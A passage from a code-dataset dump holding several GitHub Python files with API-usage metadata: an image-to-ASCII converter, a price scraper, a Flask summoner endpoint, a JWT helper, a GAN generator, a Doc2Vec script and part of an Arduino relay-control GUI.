"src.utils.run_shell_cmd", "line_number": 37, "usage_type": "call"}, {"api_name": "src.utils.run_shell_cmd", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 44, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "src.utils.untar_archive", "line_number": 58, "usage_type": "call"}, {"api_name": "dask.dataframe.DataFrame", "line_number": 63, "usage_type": "attribute"}, {"api_name": "dask.dataframe", "line_number": 63, "usage_type": "name"}, {"api_name": "transformers.PreTrainedTokenizer", "line_number": 63, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 66, "usage_type": "call"}, {"api_name": "tqdm.auto.tqdm", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 64, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 76, "usage_type": "name"}, {"api_name": "transformers.PreTrainedTokenizer", "line_number": 76, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 79, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 80, "usage_type": "call"}, {"api_name": "dask.dataframe.read_csv", "line_number": 84, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 84, "usage_type": "name"}, {"api_name": "csv.QUOTE_NONE", "line_number": 85, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 77, "usage_type": "name"}, {"api_name": "transformers.PreTrainedModel", "line_number": 93, "usage_type": "name"}, {"api_name": "transformers.PreTrainedTokenizer", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 95, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 106, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 107, "usage_type": "attribute"}, {"api_name": "sentencepiece_model_pb2.ModelProto", "line_number": 117, "usage_type": "call"}, {"api_name": "tqdm.auto.trange", "line_number": 125, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 97, "usage_type": "name"}, {"api_name": "transformers.PreTrainedModel", "line_number": 97, "usage_type": "name"}, {"api_name": "transformers.PreTrainedTokenizer", "line_number": 97, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 133, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 134, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "transformers.MT5ForConditionalGeneration.from_pretrained", "line_number": 151, "usage_type": "call"}, {"api_name": "transformers.MT5ForConditionalGeneration", "line_number": 151, "usage_type": "name"}, {"api_name": "transformers.T5ForConditionalGeneration.from_pretrained", "line_number": 153, "usage_type": "call"}, {"api_name": "transformers.T5ForConditionalGeneration", "line_number": 153, "usage_type": "name"}, {"api_name": "transformers.T5Tokenizer.from_pretrained", "line_number": 155, "usage_type": "call"}, {"api_name": "transformers.T5Tokenizer", "line_number": 155, "usage_type": "name"}, {"api_name": "transformers.T5Tokenizer", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 172, "usage_type": "call"}]} {"seq_id": "12132108938", "text": "# -*- coding=utf-8 -*-\n\nfrom PIL import Image\nimport argparse\n\n# Add command arguments\nparser = argparse.ArgumentParser()\nparser.add_argument('file')\nparser.add_argument('-o', '--output')\nparser.add_argument('--width', type=int, default=80)\nparser.add_argument('--height', type=int, default=80)\n\n# Get arguments\nargs = parser.parse_args()\n\nIMG = args.file\nOUTPUT = args.output\nWIDTH = args.width\nHEIGHT = args.height\n\n# Define the ascii characters used to replace the colors\nascii_char = list(\"$@B%8&WM#*oahkbdpqwmZO0QLCJUYXzcvunxrjft/\\|()1{}[]?-_+~<>i!lI;:,\\\"^`'. \")\n\n# Map the 256 grey scale to the 70 characters above\ndef get_char(r, g, b, alpha=256):\n\tif alpha == 0:\n\t\treturn ' '\n\n\tgray = int(0.2126 * r + 0.7152 * g + 0.0722 * b)\n\n\t# Hash the color to the characters\n\treturn ascii_char[gray % len(ascii_char)]\n\n\nif __name__ == '__main__':\n\tim = Image.open(IMG)\n\tim = im.resize((WIDTH, HEIGHT), Image.NEAREST)\n\n\ttxt = \"\"\n\n\tfor i in range(HEIGHT):\n\t\tfor j in range(WIDTH):\n\t\t\ttxt += get_char(*im.getpixel((j, i)))\n\t\ttxt += '\\n'\n\n\tprint(txt)\n\n\tif OUTPUT:\n\t\twith open(OUTPUT,'w') as f:\n\t\t\tf.write(txt)\n\telse:\n\t\twith open('output.txt', 'w') as f:\n\t\t\tf.write(txt)\n", "repo_name": "qy-yang/Lets-play", "sub_path": "img2ascii/img2ascii.py", "file_name": "img2ascii.py", "file_ext": "py", "file_size_in_byte": 1163, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 36, "usage_type": "name"}, {"api_name": "PIL.Image.NEAREST", "line_number": 37, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 37, "usage_type": "name"}]} {"seq_id": "3768963502", "text": "import requests\nfrom bs4 import BeautifulSoup\n\ndef get_product_price(url):\n # Send a GET request to the product URL\n response = requests.get(url)\n \n # Parse the HTML content using BeautifulSoup\n soup = BeautifulSoup(response.content, 'html.parser')\n \n # Find the element containing the price\n # Adjust the CSS selector based on the structure of the web page\n price_element = soup.select_one('.product-price')\n \n if price_element:\n return price_element.text.strip()\n else:\n return 'Price not found'\n\n# List of e-commerce product URLs to track\nproduct_urls = [\n 'https://example.com/product1',\n 'https://example.com/product2',\n 'https://example.com/product3'\n]\n\nfor url in product_urls:\n product_price = get_product_price(url)\n print(f'Price for {url}: {product_price}')\n", "repo_name": "Chamepp/Daily.py", "sub_path": "General/72-ecommerce-price-tracking-and-comparison.py", "file_name": "72-ecommerce-price-tracking-and-comparison.py", "file_ext": "py", "file_size_in_byte": 834, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 89, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 9, "usage_type": "call"}]} {"seq_id": "615608396", "text": "from flask import Flask, jsonify, request\nfrom flask_cors import CORS\nimport main\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route('/summoner', methods=['GET'])\ndef get_summoner():\n summoner_name = request.args.get('summoner_name')\n region = request.args.get('region')\n api_key = request.args.get('api_key')\n summoner_info = main.get_summoner_info(summoner_name, region, api_key)\n return jsonify(summoner_info)\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "repo_name": "yngOtto/JungleKing", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 474, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 10, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 11, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 11, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "main.get_summoner_info", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 14, "usage_type": "call"}]} {"seq_id": "20512516103", "text": "import pandas as pd\nimport os.path\nimport re\n\nimport numpy as np\nimport scipy.stats\n\ndef file_exists(fn):\n return os.path.isfile(fn)\n\ndef read_table(fn, indiv_col):\n _, fn_ext = os.path.splitext(fn)\n compress_args = {}\n if fn_ext == '.gz':\n fn_new = re.sub('.gz$', '', fn)\n compress_args = {'compression': 'gzip'}\n _, fn_ext = os.path.splitext(fn_new)\n if fn_ext == '.parquet':\n df = pd.read_parquet(fn)\n elif fn_ext == '.csv':\n df = pd.read_csv(fn, **compress_args)\n elif fn_ext == '.txt' or fn_ext == '.tsv':\n df = pd.read_csv(fn, sep='\\s+', **compress_args)\n for i in range(df.shape[1]):\n if df.columns[i] == indiv_col:\n break\n col_list = df.columns.to_list()\n col_list.pop(i)\n col_list = [ indiv_col ] + col_list\n df = df.reindex(columns=col_list)\n df.rename(columns={indiv_col: 'indiv'}, inplace=True)\n df.indiv = df.indiv.astype(str)\n return df\n\ndef z2p(zscore):\n '''\n Input 1d np.array zscore and return the corresponding two-sided p-value.\n '''\n return scipy.stats.norm.sf(np.abs(zscore)) * 2\n ", "repo_name": "liangyy/brainxcan", "sub_path": "brainxcan/sbxcan/util/misc.py", "file_name": "misc.py", "file_ext": "py", "file_size_in_byte": 1122, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.path.isfile", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 9, "usage_type": "name"}, {"api_name": "os.path.path.splitext", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 12, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.path.splitext", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 17, "usage_type": "name"}, {"api_name": "pandas.read_parquet", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.stats.stats.norm.sf", "line_number": 39, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 39, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 39, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 39, "usage_type": "call"}]} {"seq_id": "36551794623", "text": "from itsdangerous import BadSignature, SignatureExpired\nfrom itsdangerous import TimedJSONWebSignatureSerializer as Serializer\nfrom utils.Response import Response, Success, Error\nimport time\n\n# 采用JWT技术，产生token并返回给前端\nSECRET_KEY = 'Backend for online chat web system'\n\n\nclass Token:\n # 生成token，有效期60min\n @staticmethod\n def generate_auth_token(telephone, user_id, expiration=3600) -> Response:\n s = Serializer(SECRET_KEY, expires_in=expiration)\n return Success(data=s.dumps({'telephone': telephone,\n 'user_id': user_id,\n 'time': int(time.time())}).decode())\n\n # 解析token\n @staticmethod\n def resolve_auth_token(token) -> Response:\n s = Serializer(SECRET_KEY)\n try:\n # token正确\n info = s.loads(token)\n return Success(data=info)\n except SignatureExpired:\n # token过期\n print(\"token已经过期\")\n return Error(message='token过期')\n except BadSignature:\n # token错误\n print(\"token错误\")\n return Error(message='token错误')\n", "repo_name": "umbrella-leaf/online-chat", "sub_path": "online-chat-backend/utils/Token.py", "file_name": "Token.py", "file_ext": "py", "file_size_in_byte": 1200, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "itsdangerous.TimedJSONWebSignatureSerializer", "line_number": 14, "usage_type": "call"}, {"api_name": "utils.Response.Success", "line_number": 15, "usage_type": "call"}, {"api_name": "time.time", "line_number": 17, "usage_type": "call"}, {"api_name": "utils.Response.Response", "line_number": 13, "usage_type": "name"}, {"api_name": "itsdangerous.TimedJSONWebSignatureSerializer", "line_number": 22, "usage_type": "call"}, {"api_name": "utils.Response.Success", "line_number": 26, "usage_type": "call"}, {"api_name": "itsdangerous.SignatureExpired", "line_number": 27, "usage_type": "name"}, {"api_name": "utils.Response.Error", "line_number": 30, "usage_type": "call"}, {"api_name": "itsdangerous.BadSignature", "line_number": 31, "usage_type": "name"}, {"api_name": "utils.Response.Error", "line_number": 34, "usage_type": "call"}, {"api_name": "utils.Response.Response", "line_number": 21, "usage_type": "name"}]} {"seq_id": "37702151414", "text": "# Generator Code\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Generator(nn.Module):\n def __init__(self):\n super(Generator, self).__init__()\n self.conv_t_1 = nn.ConvTranspose1d(128, 256, kernel_size=4, stride=4, bias=False)\n self.b_n_1 = nn.BatchNorm1d(256)\n self.conv_t_2 = nn.ConvTranspose1d(256, 128, kernel_size=4, stride=4, padding=0, bias=False)\n self.b_n_2 = nn.BatchNorm1d(128)\n self.conv_t_3 = nn.ConvTranspose1d(128, 64, kernel_size=4, stride=4, padding=0, bias=False)\n self.b_n_3 = nn.BatchNorm1d(64)\n self.conv_t_4 = nn.ConvTranspose1d(64, 6, kernel_size=4, stride=2, padding=1, bias=False)\n self.b_n_4 = nn.BatchNorm1d(6)\n\n def forward(self, x):\n x = self.conv_t_1(x)\n x = self.b_n_1(x)\n x = F.leaky_relu(x,0.2)\n # x = F.relu(x)\n x = self.conv_t_2(x)\n x = self.b_n_2(x)\n # x = F.relu(x)\n x = F.leaky_relu(x, 0.2)\n x = self.conv_t_3(x)\n x = self.b_n_3(x)\n # x = F.relu(x)\n x = F.leaky_relu(x, 0.2)\n x = self.conv_t_4(x)\n x = self.b_n_4(x)\n # x = self.conv_t_5(x)\n # x = self.b_n_5(x)\n x = F.tanh(x)\n # x = x.view(-1, 4096, 9)\n return x\n", "repo_name": "Torng/Music_Generator", "sub_path": "Module/generator.py", "file_name": "generator.py", "file_ext": "py", "file_size_in_byte": 1266, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Module", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose1d", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose1d", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose1d", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose1d", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.functional.leaky_relu", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.functional.leaky_relu", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.functional.leaky_relu", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.functional.tanh", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 35, "usage_type": "name"}]} {"seq_id": "25885530266", "text": "from sklearn.feature_extraction.text import TfidfVectorizer\nimport pandas as pd\nfrom nltk.tokenize import word_tokenize\nimport os\nimport numpy as np\nimport gensim\nfrom sklearn.decomposition import PCA\nfrom sklearn.random_projection import GaussianRandomProjection\nimport logging\nfrom stanfordcorenlp import StanfordCoreNLP\nfrom os import listdir\nfrom os.path import isfile, join\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\n\n# nameSystem='bamboo'\nfopModel='model_d2v/'\nfpModelD2v=fopModel+'d2v_all.model'\nfpTextInfo=fopModel+'text-16-project.csv'\nfpVecctorD2v=fopModel+'vector-16-project.csv'\n\n# fopTextPreprocess='te'+nameSystem+'/'\nfopDataset='../../dataset/'\n\n\n\ndef createDirIfNotExist(fopOutput):\n try:\n # Create target Directory\n os.mkdir(fopOutput)\n print(\"Directory \", fopOutput, \" Created \")\n except FileExistsError:\n print(\"Directory \", fopOutput, \" already exists\")\n\n\n\n\ncreateDirIfNotExist(fopModel)\n# raw_data = pd.read_csv(fpTextInfo)\n\nfile=open(fpTextInfo,'r')\narrLines=file.read().split('\\n')\n\nText1 = []\nText2 = []\nText3 = []\nText4 = []\nText5 = []\nText6 = []\nID=[]\nStoryReg=[]\nStoryClass=[]\nSystems=[]\n\nfor i in range(0,len(arrLines)):\n arrLineItem=arrLines[i].split(',')\n print(arrLines[i])\n if(len(arrLineItem)<=2):\n continue\n Text1.append(arrLineItem[4])\n Text2.append(arrLineItem[5])\n Text3.append(arrLineItem[6])\n Text4.append(arrLineItem[7])\n Text5.append(arrLineItem[8])\n Text6.append(arrLineItem[9])\n ID.append(arrLineItem[1])\n StoryReg.append(arrLineItem[2])\n StoryClass.append(arrLineItem[3])\n Systems.append(arrLineItem[0])\n\n# Text1 = raw_data['Text1']\n# Text2 = raw_data['Text2']\n# Text3 = raw_data['Text3']\n# Text4 = raw_data['Text4']\n# Text5 = raw_data['Text5']\n# Text6 = raw_data['Text6']\n# ID=raw_data['ID']\n# StoryReg=raw_data['StoryReg']\n# StoryClass=raw_data['StoryClass']\n# Systems=raw_data['System']\n\nfrom gensim.models.doc2vec import Doc2Vec\nmodel= Doc2Vec.load(fpModelD2v)\nlenVectorOfWord =0\nfor i in range(0,len(Text1)):\n arrText1=word_tokenize(str(Text1[i]))\n arrText2 = word_tokenize(str(Text2[i]))\n arrText3 = word_tokenize(str(Text3[i]))\n arrText4 = word_tokenize(str(Text4[i]))\n arrText5 = word_tokenize(str(Text5[i]))\n arrText6 = word_tokenize(str(Text6[i]))\n print(arrText1)\n print(arrText2)\n print(arrText3)\n print(arrText4)\n print(arrText5)\n print(arrText6)\n\n\n vector1=model.infer_vector(arrText1)\n vector2 = model.infer_vector(arrText2)\n vector3 = model.infer_vector(arrText3)\n vector4 = model.infer_vector(arrText4)\n vector5 = model.infer_vector(arrText5)\n vector6 = model.infer_vector(arrText6)\n\n XI = np.append(vector1, vector2)\n XI = np.append(XI, vector3)\n XI = np.append(XI, vector4)\n XI = np.append(XI, vector5)\n XI = np.append(XI, vector6)\n if i==0:\n lenVectorOfWord = len(XI)\n columnTitleRow = \"Systems,ID,StoryReg,StoryClass,\"\n for i in range(0, lenVectorOfWord):\n item = 'feature-' + str(i + 1)\n columnTitleRow = ''.join([columnTitleRow, item])\n if i != lenVectorOfWord - 1:\n columnTitleRow = ''.join([columnTitleRow, \",\"])\n columnTitleRow = ''.join([columnTitleRow, \"\\n\"])\n csv = open(fpVecctorD2v, 'w')\n csv.write(columnTitleRow)\n\n strRow = ''.join([str(Systems[i]), ',', str(ID[i]), ',', str(StoryReg[i]), ',', str(StoryClass[i]) ])\n for j in range(0, lenVectorOfWord):\n strRow = ''.join([strRow, ',', str(XI[j])])\n strRow = ''.join([strRow, '\\n'])\n csv.write(strRow)\n print('{} finish'.format(i))\n\n\ncsv.close()\n\n\n", "repo_name": "pdhung3012/SoftwareStoryPointsPrediction", "sub_path": "devItems/spring-2020/SEEAccuracyImprove/trainAll_D2v/step1_vectorizeByD2v.py", "file_name": "step1_vectorizeByD2v.py", "file_ext": "py", "file_size_in_byte": 3654, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.mkdir", "line_number": 29, "usage_type": "call"}, {"api_name": "gensim.models.doc2vec.Doc2Vec.load", "line_number": 82, "usage_type": "call"}, {"api_name": "gensim.models.doc2vec.Doc2Vec", "line_number": 82, "usage_type": "name"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 85, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 86, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 87, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 88, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 89, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 110, "usage_type": "call"}]} {"seq_id": "8286388093", "text": "from tkinter import *\nimport random\nfrom datetime import datetime\nfrom time import sleep\nfrom threading import Thread\nimport re\nfrom tkinter import ttk\nimport pyfirmata\n\n# На плате Arduino Uno задействованы следующие цифровы пины:\n# 5 - реле;\n# 7 - реле\n\n'Подключи Arduino к порту номер 3'\nboard = pyfirmata.Arduino('COM3')\nboard.digital[5].write(0)\nboard.digital[7].write(0)\n'---------------------------------'\n\n'________________________________________________________Параметры окна'\nroot = Tk()\nroot.title(\"Движение ВПРАВО/ВЛЕВО\")\nroot.geometry('800x530')\nroot[\"bg\"] = \"tan2\"\nroot.resizable(width=False, height=False)\n'________________________________________________________Параметры окна'\n\n\ndef avtomat():\n poliv = IntVar()\n i_checkbutton_1 = Checkbutton(text=\"Автоматическая очистка ВЛЕВО\", variable=poliv, onvalue=1,\n offvalue=0, bg='tan2', font=\"Helvetica 11 bold\", selectcolor='plum2',\n cursor='dotbox')\n i_checkbutton_1.place(relx=0.02, rely=0.23)\n svet = IntVar()\n i_checkbutton = Checkbutton(text=\"Автоматическая очситка ВПРАВО\", variable=svet,\n onvalue=1, offvalue=0, bg='tan2', font=\"Helvetica 11 bold\",\n selectcolor='plum2', cursor='dotbox')\n i_checkbutton.place(relx=0.02, rely=0.3)\n x1 = 0\n x2 = 0\n polival_yes = 0\n svetil = 0\n\n\n while True:\n file = open('./config_tech.txt', 'r', encoding='utf8')\n a = file.read()\n x = re.findall(r'\\d{2}[.]\\d{2}[.]\\d{4}', a)\n y = re.findall(r'\\d{2}[:]\\d{2}', a)\n c = re.findall(r'\\d+', a)\n file.close()\n\n a1 = poliv.get()\n sleep(2)\n\n if (a1 == 1):\n print('Автомат ВЛЕВО')\n if ((((x[1][6:] + '-' + x[1][3:5] + '-' + x[1][0:2]) == str(datetime.now())[:10]) and (\n str(datetime.now())[11:16] == y[1])) and (polival_yes == 0)):\n a_time = int(c[13])\n board.digital[5].write(1)\n sleep(a_time)\n board.digital[5].write(0)\n polival_yes = polival_yes + 1\n print('Автомат ВЛЕВО НАЧАЛ!')\n\n if x1 == 0:\n settings_1()\n x1 = x1 + 1\n else:\n x1 = x1\n else:\n polival_yes = 0\n\n if a1 == 0:\n x1 = 0\n\n a2 = svet.get()\n if (a2 == 1):\n print('Автомат ВПРАВО')\n if ((((x[0][6:] + '-' + x[0][3:5] + '-' + x[0][0:2]) == str(datetime.now())[:10]) and (\n str(datetime.now())[11:16] == y[0])) and (svetil == 0)):\n a_time = int(c[7])\n board.digital[7].write(1)\n sleep(a_time)\n board.digital[7].write(0)\n svetil = svetil + 1\n print('Автомат ВПРАВО НАЧАЛ')\n\n\n if x2 == 0:\n settings_1()\n x2 = x2 + 1\n else:\n x2 = x2\n else:\n svetil = 0\n\n\n\n'________________________________________________________Задний фон'\nphoto = PhotoImage(file='10.gif')\nw = Label(root, image=photo)\nw.place(relx=0.38, rely=0.04)\n'________________________________________________________Задний фон'\n\n\n'///////////////////ФУНКЦИИ////////////////////////'\ndef settings_1():\n roote = Tk()\n roote.title(\"Панель настроек\")\n roote.geometry('600x300')\n roote.resizable(width=False, height=False)\n\n\n def read_parametrs():\n file = open('./config_tech.txt', 'r', encoding='utf8')\n a = file.read()\n\n x = re.findall(r'\\d+', a)\n date_my = re.findall(r'\\d{2}\\.\\d{2}\\.\\d{4}', a)\n time_my = re.findall(r'\\d{2}[:]\\d{2}', a)\n\n a_time = int(x[0])\n a_2_hour = a_time // 3600\n t1.insert(1.0, a_2_hour)\n a_2_minutes = (a_time % 3600) // 60\n t2.insert(1.0, a_2_minutes)\n a_2_sec = (a_time % 3600) % 60\n t3.insert(1.0, a_2_sec)\n\n t4.insert(1.0, int(x[1]))\n\n t9.insert(0, date_my[0])\n t14.insert(0, date_my[1])\n\n t10.insert(0, time_my[0])\n t16.insert(0, time_my[1])\n\n svet_hour = int(x[7]) // 60\n t21.insert(1.0, svet_hour)\n svet_min = int(x[7]) % 60\n t23.insert(1.0, svet_min)\n\n poliv_hour = int(x[13]) // 60\n t25.insert(1.0, poliv_hour)\n poliv_min = int(x[13]) % 60\n t27.insert(1.0, poliv_min)\n\n\n\n file.close()\n\n\n def save_in_txt():\n a_hour = int(t1.get(1.0, END))\n a_min = int(t2.get(1.0, END))\n a_sec = int(t3.get(1.0, END))\n water_time = int(t4.get(1.0, END))\n light_time = (a_hour * 3600) + (a_min * 60) + a_sec\n\n a_hour_2 = int(t21.get(1.0, END))\n a_sec_2 = int(t23.get(1.0, END))\n\n a_hour_3 = int(t25.get(1.0, END))\n a_sec_3 = int(t27.get(1.0, END))\n\n\n file = open('./config_tech.txt', 'r', encoding='utf8')\n file.close()\n file_1 = open('./config_tech.txt', 'w', encoding='utf8')\n\n new_time_1 = str(light_time)\n new_time_2 = str(water_time)\n poliv_time_3 = str((a_hour_3 * 60) + (a_sec_3))\n light_time_2 = str((a_hour_2 * 60) + (a_sec_2))\n svet_date = str(t9.get())\n pol_date = str(t14.get())\n svet_time = str(t10.get())\n pol_time = str(t16.get())\n\n file_1.write(new_time_1 + '\\t\\t\\t\\t\\t\\t\\ttime for RIGTH, sec\\n'\n + new_time_2 + '\\t\\t\\t\\t\\t\\t\\ttime for LEFT, sec\\n'\n + svet_date + '\\t\\t\\t\\t\\t\\tdate for start RIGHT\\n'\n + svet_time + '\\t\\t\\t\\t\\t\\t\\ttime for start RIGHT\\n'\n + light_time_2 + '\\t\\t\\t\\t\\t\\t\\tperiod LEFT\\n'\n + pol_date + '\\t\\t\\t\\t\\t\\tdate for start LEFT\\n'\n + pol_time + '\\t\\t\\t\\t\\t\\t\\ttime for start LEFT\\n'\n + poliv_time_3 + '\\t\\t\\t\\t\\t\\t\\tperiod RIGHT'\n )\n\n\n\n l_1 = Label(roote, text='Введите новое время ВПРАВО:', fg='black', font=\"Helvetica 10 bold\")\n l_1.place(relx=0.02, rely=0.05)\n t1 = Text(roote, width=3, height=1, font=\"Helvetica 15 bold\", bg=\"orange\", fg=\"green\")\n t1.place(relx=0.42, rely=0.05)\n l_2 = Label(roote, text='час', fg='black', font=\"Helvetica 10 bold\")\n l_2.place(relx=0.48, rely=0.05)\n t2 = Text(roote, width=3, height=1, font=\"Helvetica 15 bold\", bg=\"gold2\", fg=\"green\")\n t2.place(relx=0.54, rely=0.05)\n l_3 = Label(roote, text='мин', fg='black', font=\"Helvetica 10 bold\")\n l_3.place(relx=0.60, rely=0.05)\n t3 = Text(roote, width=3, height=1, font=\"Helvetica 15 bold\", bg=\"gold3\", fg=\"green\")\n t3.place(relx=0.66, rely=0.05)\n l_4 = Label(roote, text='сек', fg='black', font=\"Helvetica 10 bold\")\n l_4.place(relx=0.72, rely=0.05)\n l_5 = Label(roote, text='Введите новое время ВЛЕВО:', fg='black', font=\"Helvetica 10 bold\")\n l_5.place(relx=0.02, rely=0.2)\n t4 = Text(roote, width=9, height=1, font=\"Helvetica 15 bold\", bg=\"tan2\", fg=\"green\")\n t4.place(relx=0.42, rely=0.2)\n l_6 = Label(roote, text='сек', fg='black', font=\"Helvetica 10 bold\")\n l_6.place(relx=0.6, rely=0.2)\n l_7 = Label(roote, text='Выберите порт подключения:', fg='black', font=\"Helvetica 10 bold\")\n l_7.place(relx=0.02, rely=0.35)\n lst = ['COM1', 'COM2', 'COM3',\n 'COM4', 'COM5','COM6',\n 'COM7', 'COM8', 'COM9',\n 'COM10', 'COM11', 'COM12',\n 'COM13', 'COM14', 'COM15',\n 'COM16', 'COM17', 'COM18',\n 'COM19', 'COM20', 'COM21']\n combo = ttk.Combobox(roote, font=\"Helvetica 